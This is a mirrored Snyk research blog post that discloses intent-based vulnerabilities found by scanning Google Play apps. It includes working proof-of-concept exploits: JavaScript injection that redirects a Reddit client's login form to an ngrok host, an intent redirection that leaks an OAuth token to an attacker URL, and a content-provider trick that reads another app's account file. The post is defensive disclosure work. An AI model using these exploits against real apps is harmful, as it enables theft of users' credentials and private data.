Hunting intent-based Android security vulnerabilities with Snyk Code
source link: https://snyk.io/blog/hunting-intent-based-android-security-vulnerabilities-with-snyk-code/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Hunting intent-based Android security vulnerabilities with Snyk Code
Kirill Efimov, Raul Onitza-Klugman
May 27, 2021
In our previous blog, we explored the nature of intent-based Android security vulnerabilities. Now we’re going to dive into how we performed our security analysis on apps in the Google Play Store with Snyk Code.
In order to hunt for these types of vulnerabilities, a dataset was created along with an automated pipeline to process it. The top 200 apps in 50 categories were downloaded from the Google Play store resulting in 10K apps uploaded to Google Cloud Storage. The Snyk Code engine was bundled into a Docker container and stored on the Google Container Registry, where it was loaded and executed by our cloud workgroup. As the Snyk Code engine only works on source files, we needed to convert all the APKs into their respective sources. Each app was decompiled, pre-processed and analyzed with our custom built ruleset on-the-fly. The results for each app were aggregated along with their respective metadata and uploaded to Big Query for manual analysis. The processing time of the entire dataset was around 1.5 hours using an instance group of 150 VMs on the Google Cloud Platform, which was pretty impressive.
Key findings
After running the pipeline and analyzing the results, we’ve found some interesting findings worth focusing on. Unfortunately, but understandably, some of the app maintainers asked us not to mention their apps by name in the publication. As a result, some of the code samples are modified to respect their request. We will use the “app” placeholder in such cases.
All code samples brought forth have been generated by decompiling the APKs with jadx. Some of the classes, methods and variable names have been renamed for clarity.
rif is fun for Reddit
This app is a third-party developed mobile interface for intuitively and comfortably browsing reddit.com, which is completely separate from Reddit’s self-developed app. It has over 5 million installs and our analysis found there’s a URL Injection vulnerability in an activity which is exported and allows an attacker to inject arbitrary Javascript code in one of the intent’s parameters:
The vulnerable code is:
public void onPageFinished(WebView webView, String str) {
super.onPageFinished(webView, str);
OAuth2Activity.this.g0(webView);
this.a = true;
String stringExtra = OAuth2Activity.this.getIntent().getStringExtra("...");
if (TextUtils.isEmpty(stringExtra)) {
stringExtra = "...";
}
webView.loadUrl("javascript:..." + stringExtra + "';})();");
The parameter is read into stringExtra
and passed unsanitized directly into the string loaded into the WebView allowing arbitrary Javascript to be executed.
To exploit, one can use the following:
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setClassName("com.andrewshu.android.reddit", "com.andrewshu.android.reddit...");
String pl = "';" +
"document.getElementById('login_login').action = 'https://b72de7935a19.ngrok.io';" +
";'";
intent.putExtra("com.andrewshu.android.reddit...", pl);
startActivity(intent);
To make the exploit feel more natural, a malicious actor could track whether the app was running in the foreground or not, and then send the intent only if it was. It was possible by calling the getRunningAppProcesses
method of the ActivityManager
class, but fortunately has changed since API 22 and above. After API 22 the only way to check which application is in the foreground is with the UsageStatsManager
which requires a special permission.
Popular shopping application
Our research showed that a popular shopping app with tens of millions of downloads worldwide, had an intent redirection vulnerability that can lead to private data and credential exposure via URL injection by a malicious app installed on the device.
The issue is in the com.shoppingapp.home.Carousel
activity that is declared in the manifest file as exported thus available to receive external intents:
<activity android:theme="@style/Theme.ShoppingApp.Base" android:name="com.shoppingapp.home.Carousel" android:exported="true" android:launchMode="singleTask" android:windowSoftInputMode="adjustPan"/>
The vulnerable code is in the handleIntent()
method:
if (getCallingActivity() == null || getCallingActivity().getPackageName().equals(getApplicationContext().getPackageName())) {
...
Intent intent2 = (Intent) intent.getParcelableExtra(CarouselIntentFactory.CAROUSEL_NEXT_INTENT); intent2.setExtrasClassLoader(getClassLoader());
if (this.carouselNavigationModel.isInlinePageDeepLink) { this.inlineSearchNavigationHelper.get().openSearchResultsInline(this, 0, intent2.getExtras());
} else {
startActivity(intent2);
}
...
}
The first if
condition is meant to check that the calling activity is from within the app. It holds when this activity is launched with the startActivityForResult()
method. But if called with startActivity()
, getCallingActivity()
will return null
and the flow will enter the if
clause. Setting isInlinePageDeepLink
to false
will bypass the second check and will launch an activity by calling startActivity
on the bundled intent in the CarouselIntentFactory.CAROUSEL_NEXT_INTENT
parameter.
Now that an intent can be redirected, it can be leveraged to launch the com.shoppingapp.activity.AppWebView
activity:
@Override
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.shoppingapp_webview);
setupWebView();
}
setupWebview()
:
private void setupWebView() {
setCookies();
if (this.appWebView == null) {
...
List<NameValuePair> initialUrlQueryNameValuePairs = getInitialUrlQueryNameValuePairs();
Map<String, String> headerNameValuePairs = getHeaderNameValuePairs(this.appActivityNavigationModel.url);
if (!initialUrlQueryNameValuePairs.isEmpty()) {
AppWebViewNavigationModel appWebViewNavigationModel = this.appActivityNavigationModel;
appWebViewNavigationModel.url = getUrlWithAppendedQuery(appWebViewNavigationModel.url, initialUrlQueryNameValuePairs);
}
if (!headerNameValuePairs.isEmpty()) {
this.appWebView.loadUrl(this.appActivityNavigationModel.url, headerNameValuePairs);
} else {
this.appWebView.loadUrl(this.appActivityNavigationModel.url);
}
}
this.appWebViewPlaceholder.addView(this.appWebView);
TestFairy.hideView(this.appWebView);
}
The activity loads the address stored in the url
parameter of the intent in a WebView. The activity will append the headers returned from the getHeaderNameValuePairs()
method call:
public Map<String, String> getHeaderNameValuePairs(String str) {
HashMap hashMap = new HashMap();
if (this.appActivityNavigationModel.url.startsWith("https") && this.loginService.isLoggedIn() && this.webViewUtil.isInFlavorDomain(str)) {
hashMap.put(WebViewHelper.HEADER_AUTHORIZATION, String.format("OAuth %s", this.loginService.getAccessToken()));
}
return hashMap;
}
The URL needs to fulfill three conditions: the user is logged in, it starts with https
and isInFlavorDomain
returns true
. Looking into that method:
public boolean isInFlavorDomain(String str) {
String str2;
if (!Strings.notEmpty(str)) {
return false;
}
Country currentCountry = this.currentCountryManager.getCurrentCountry();
if (Strings.isEmpty(currentCountry.url)) {
str2 = this.sharedPreferences.getString(WEBVIEW_BASE_URL, this.stringProvider.getString(R.string.brand_website));
} else {
...
}
if (str == null || !str.startsWith(str2)) {
return false;
}
return true;
}
}
The URL must start with https://www.shoppingapp.com
as defined in the brand_website
parameter declared in strings.xml
:
<string name="brand_website">https://www.shoppingapp.com</string>
This check can be bypassed using an opaque url of the form https://www.shoppingapp.com@[ATTACKER_CONTROLLED_URL]
leading to exposure of sensitive authorization headers which include the user’s OAuth token as well as their private id and location:
GET /?user_id=b3bb6be0-7c1c-11eb-9679-0242ac120002&consumer_ID=b3bb6be0-7c1c-11eb-9679-0242ac120002&lat=37.422&lng=-122.084 HTTP/1.1
Host: ...
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Linux; Android 11; sdk_gphone_x86_arm Build/RSR1.201013.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36 app-embedded-web-view
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
authorization: OAuth eyJ2ZXJzaW9uIjoxLCJkYXRhIjp7InV1aWQiOiJiM2JiNmJlMC03YzFjLTExZWItOTY3OS0wMjQyYWMxMjAwMDIiLCJtZXRob2RzIjp7InJlZ2lzdHJhdGlvbiI6MTYxNDc3NDgyOH19LCJrZXkiOjEyMjQ3Nywic2lnbmF0dXJlIjoiTUVVQ0lRQ2xFcTBkNG9YeGxzL2kySEZxU0dYRmZlUVhOMk16bk9RR1NVYWdoL3V4a0FJZ1JWQnpWMG04MVRlTldMRkRWbkVBM0MxMkNtS2xSeFd4a1JHcE8rY2tXdVU9In0=
Combining all the pieces together, the exploit code looks like:
Intent inner = new Intent();
inner.setClassName("com.shoppingapp", "com.shoppingapp.activity.AppWebView");
inner.putExtra("url", "https://www.app.com@[ATTACKER_CONTROLLED_URL]");
inner.putExtra("hideHeader", false);
inner.putExtra("needsLocation", true);
Intent intent = new Intent();
intent.setClassName("com.shoppingapp", "com.shoppingapp.home.Carousel");
intent.putExtra("carousel_next_intent", inner);
startActivity(intent);
Social network application
A social network application used by more than 10 million users was found to be vulnerable to intent redirection. The vulnerability can lead to private data exposure by a malicious app.
The intent redirection vulnerability is in com.social.master.MasterActivity
. It receives an intent from redirectActivity
extra field and calls startActivity
:
@Override
public void onCreate(Bundle bundle) {
Intent intent;
super.onCreate(bundle);
...
if (!this.showLoginActivity && bundle == null && (intent = (Intent) getIntent().getParcelableExtra("redirectActivity")) != null && checkRedirectIntent(intent)) {
startActivity(intent);
overridePendingTransition(0, 0);
}
The custom checkRedirectIntent
method is called to verify the origin of the redirected intent:
private boolean checkRedirectIntent(Intent intent) {
return !(getCallingActivity() != null && !PackageUtils.isTrustingPackage(getCallingActivity().getPackageName())) && intent != null && PackageUtils.isTrustingPackage(intent.resolveActivity(getPackageManager()).getPackageName());
}
A closer look into isTrustingPackage
reveals that it checks if a string starts with com.social
:
public static boolean isTrustingPackage(String str) {
return str != null && str.startsWith("com.social");
}
Breaking down the conditions gives us:
!(getCallingActivity() != null && !PackageUtils.isTrustingPackage(getCallingActivity().getPackageName()))
: The current activity is not called from an activity outside the app.intent != null
: The redirected intent is not empty.PackageUtils.isTrustingPackage(intent.resolveActivity(getPackageManager()).getPackageName())
: The redirected intent resolves to an activity within the app.
In order to fulfil these conditions, the attacker must declare their app name to start with com.social
in order for the call to isTrusingPackage
to return true
.
The target component to access is the com.social.master.provider
content provider with android:grantUriPermissions
set to true
. Looking into paths.xml
we saw:
<root-path name="external_files" path=""/>
Browsing through the Android documentation we noticed that there’s no mention of root-path
but it still continues to live in the actual Android source code. It’s defined as the device root dir and all the provider’s paths will be resolved relative to that:
private static final String TAG_ROOT_PATH = "root-path";
private static final File DEVICE_ROOT = new File("/");
...
if (TAG_ROOT_PATH.equals(tag)) {
target = DEVICE_ROOT;
}
...
if (target != null) {
strat.addRoot(name, buildPath(target, path));
}
It means the app can reach any file on the device, so root-path
should never be used.
By giving the bundled intent read/write permissions, accessing the provider with the content://com.social.master.provider/
URI allows reading and modifying files on the device (limited to the app’s permissions) including its own sensitive files. As an example, an attacker can exfiltrate the currently logged in account’s data by reading external_files/data/data/com.social.master/shared_prefs/account.xml
. Remember, paths.xml
maps external_files
to /
and the activity redirecting the intent grants the attacker’s activity the necessary permissions.
An attacker can exploit the app with the following code:
// com.social.evil.MainActivity
Intent inner = new Intent(); inner.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION); inner.setData(Uri.parse("content://com.social.master.provider/")); inner.setClassName("com.social.evil", "com.social.evil.Target");
Intent intent = new Intent("android.intent.action.VIEW"); intent.setData(Uri.parse("https://social.example.com/foo")); intent.setClassName("com.social.master", "com.social.master.MasterActivity");
intent.putExtra("redirectActivity", inner);
startActivityForResult(intent, 1001);
To read the contents of account.xml
:
//com.social.evil.Target
String file = "external_files/data/data/com.social.master/shared_prefs/account.xml"; InputStream is = getContentResolver().openInputStream(Uri.parse(getIntent().getDataString() + file));
BufferedReader br = new BufferedReader(new InputStreamReader(is));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line);
}
Up next: Mitigation and remediation recommendations
By now, we’ve covered how intent-based vulnerabilities work and how they can be found in some very popular apps. In our next (and final) post, we’re going to give some mitigation and remediation advice to help keep your code safe. If you’re developing your own apps, we’d encourage you to use Snyk to make sure you haven’t accidentally written any of these vulnerabilities into your own code.
Get started with Snyk Code
Identify vulnerabilities in your code for free with Snyk Code.
Recommend
-
14
Exploring intent-based Android security vulnerabilities on Google Play
-
7
Mitigating and remediating intent-based Android security vulnerabilities Kirill Efimov, Raul Onitza-Klugman June 2, 2021 ...
-
3
Personalized, real-time promotions based on shopper intentIntent-Based Promotions is an on-site promo solution that offers the accurate and most profitable incentive needed to convert each shopper (if any). We help over...
-
7
-
5
Fuzzing nginx - Hunting vulnerabilities with afl-fuzzApril 28, 2015No 0day here If you were looking for it, sorry. As of 48 hours of fuzzing, I’ve got 0 crashes. AFL - successful fuzzing
-
6
404星链计划 | AOSP Bug Hunting with appshark (1): Intent Redirection 7小时之前 2022年11月03日...
-
7
Kris Stono Jul 22, 2022 at 10:36 AM Intent Based Navigation/Navigation Targets S/4HANA Cloud 98 Views Last...
-
9
Georg Wilhelm June 6, 2023 9 minute read
-
1
Honor MagicOS 8.0 announced with intent-based UI and platform-level AI
-
5
Dynamic SemanticObject for Intent Based Navigation in Fiori List Report ...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK